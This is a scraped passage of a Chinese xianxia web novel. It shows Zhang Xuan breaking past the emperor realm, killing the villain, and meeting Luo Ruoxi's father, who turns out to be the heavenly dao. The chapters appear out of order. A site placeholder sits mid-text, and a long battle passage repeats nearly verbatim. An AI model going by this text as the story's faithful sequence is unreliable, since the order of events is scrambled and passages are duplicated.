轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百六十二章 抗体 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 